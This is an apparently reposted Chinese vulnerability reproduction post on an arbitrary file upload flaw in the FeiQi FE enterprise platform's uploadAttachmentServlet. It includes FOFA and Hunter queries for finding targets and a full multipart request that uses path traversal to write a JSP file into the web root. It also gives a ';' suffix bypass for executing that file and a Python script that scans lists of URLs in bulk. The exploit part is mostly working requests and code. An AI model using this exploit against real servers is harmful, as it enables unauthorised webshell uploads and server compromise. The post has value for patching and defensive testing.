当前位置: 首页 > news >正文

【漏洞复现】飞企互联-FE企业运营管理平台——uploadAttachmentServlet——文件上传

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。其uploadAttachmentServlet存在文件上传漏洞,导致恶意攻击者可以上传恶意后门、木马等,从而获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。

漏洞复现

1)信息收集
fofa:app="FE-协作平台"
hunter:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"
在这里插入图片描述

圣人不死,大盗不止。
在这里插入图片描述
2)构造数据包

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

multipart/form-data格式的请求解释:

MIME多部分数据格式,通常用于HTTP POST请求中,特别是在需要上传文件和额外数据的情况下。这种格式允许在一个请求中发送多种类型的数据,比如文件、表单字段等。

详细解析代码片段:

  1. 边界(Boundary)定义

    ------WebKitFormBoundaryKNt0t4vBe8cX9rZk
    

    这个字符串是分隔不同数据部分的边界。它是在请求头中定义的,并且在每个数据部分之间重复出现,以区分不同的部分。

  2. uploadFile 部分

    Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
    Content-Type: text/plain<% out.println("123123");%>
    
    • Content-Disposition 头部指定了这个部分是一个表单数据(form-data),名字为uploadFile,并且关联了一个文件名from.jsp。这表明这部分数据代表了一个文件。
    • Content-Type 指定这部分数据的类型是text/plain,但实际上,这里的from.jsp看起来是一个Java Server Page(JSP)文件。
    • 接下来是JSP文件的内容,它会输出字符串123123到页面。
  3. json 部分

    Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
    
    • 这部分同样是一个表单数据,名字为json,没有指定文件名,因为这并不是一个文件上传。
    • 数据是一个JSON对象,包含了iq对象,其中有一个query字段,其值是一个对象,具有UpdateType属性,值为mail
  4. 结束边界

    ------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
    

    这是边界字符串的结束标记,表示所有数据部分的传输已经完成。

这样的格式常用于上传文件到服务器,同时可以携带额外的参数,比如描述文件的元数据或处理文件的指令。在实际应用中,边界字符串通常是随机生成的,以避免与数据内容冲突。

在这里插入图片描述

3)查看上传文件,;绕过解析

GET /from; HTTP/1.1
Host: ip

在这里插入图片描述
回显123123,文件上传成功

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):"""生成包含n个字符的随机字符串。参数:n -- 字符串的长度返回值:随机生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检测URL是否存在上传漏洞
def check_vulnerability(url):"""检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数:url -- 待检测的URL无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。"""# 生成随机文件名filename = rand_base(6)# 构造上传URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 设置上传请求的头部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 构造上传请求的数据upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 发送访问请求response_access = requests.get(access_url, verify=False, timeout=30)# 检查上传和访问的响应,判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 程序入口
def main():# 解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述


邓林之阴初见昆仑君,惊鸿一瞥,乱我心曲。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 新一代信息技术及应用
  • 儿童房灯具什么牌子好?几款儿童房灯具款式墙裂分享
  • c语言数据结构--链队列
  • DP学习——简单工厂模式
  • Flink 窗口触发器(Trigger)(二)
  • php简单商城小程序系统源码
  • 【普中】基于51单片机的矩阵电子密码锁LCD1602液晶显示 proteus仿真+程序+设计报告+讲解视频
  • 【内网渗透】内网渗透学习之域渗透常规方法
  • 深入了解Rokid UXR2.0 SDK内置的Unity AR Glass开发组件
  • Python强大的数据转换功能库之awswrangler使用详解
  • 读人工智能全传08人工智能的今天
  • 容联七陌智能客服助力企业出海无忧,拓展全球
  • 护佑未来!引领儿童安全新时代的AI大模型
  • Qt 线程同步机制 互斥锁 信号量 条件变量 读写锁
  • git 的cherry-pick选择性提交
  • canvas 高仿 Apple Watch 表盘
  • Linux中的硬链接与软链接
  • react-native 安卓真机环境搭建
  • 深入 Nginx 之配置篇
  • 使用parted解决大于2T的磁盘分区
  • 一起参Ember.js讨论、问答社区。
  • 你对linux中grep命令知道多少?
  • 阿里云重庆大学大数据训练营落地分享
  • # Redis 入门到精通(八)-- 服务器配置-redis.conf配置与高级数据类型
  • #每日一题合集#牛客JZ23-JZ33
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (Qt) 默认QtWidget应用包含什么?
  • (附源码)springboot掌上博客系统 毕业设计063131
  • (七)Knockout 创建自定义绑定
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (转)创业家杂志:UCWEB天使第一步
  • .NET Conf 2023 回顾 – 庆祝社区、创新和 .NET 8 的发布
  • .net core 6 redis操作类
  • .NET/C# 判断某个类是否是泛型类型或泛型接口的子类型
  • .NET/C# 使用 ConditionalWeakTable 附加字段(CLR 版本的附加属性,也可用用来当作弱引用字典 WeakDictionary)
  • .NET基础篇——反射的奥妙
  • .net专家(高海东的专栏)
  • .project文件
  • ;号自动换行
  • @for /l %i in (1,1,10) do md %i 批处理自动建立目录
  • @modelattribute注解用postman测试怎么传参_接口测试之问题挖掘
  • @select 怎么写存储过程_你知道select语句和update语句分别是怎么执行的吗?
  • [ C++ ] STL---仿函数与priority_queue
  • [ vulhub漏洞复现篇 ] AppWeb认证绕过漏洞(CVE-2018-8715)
  • [001-03-007].第07节:Redis中的事务
  • [acm算法学习] 后缀数组SA
  • [AIGC] 如何建立和优化你的工作流?
  • [Algorithm][动态规划][路径问题][不同路径][不同路径Ⅱ][珠宝的最高价值]详细讲解
  • [C#] 我的log4net使用手册
  • [C\C++]读入优化【技巧】
  • [ERROR ImagePull]: failed to pull image k8s.gcr.io/kube-controller-manager失败
  • [HTML API]HTMLCollection
  • [LeeCode]—Wildcard Matching 通配符匹配问题
  • [LeetCode] 178. 分数排名
  • [leetcode]longest-common-prefix 最长公共前缀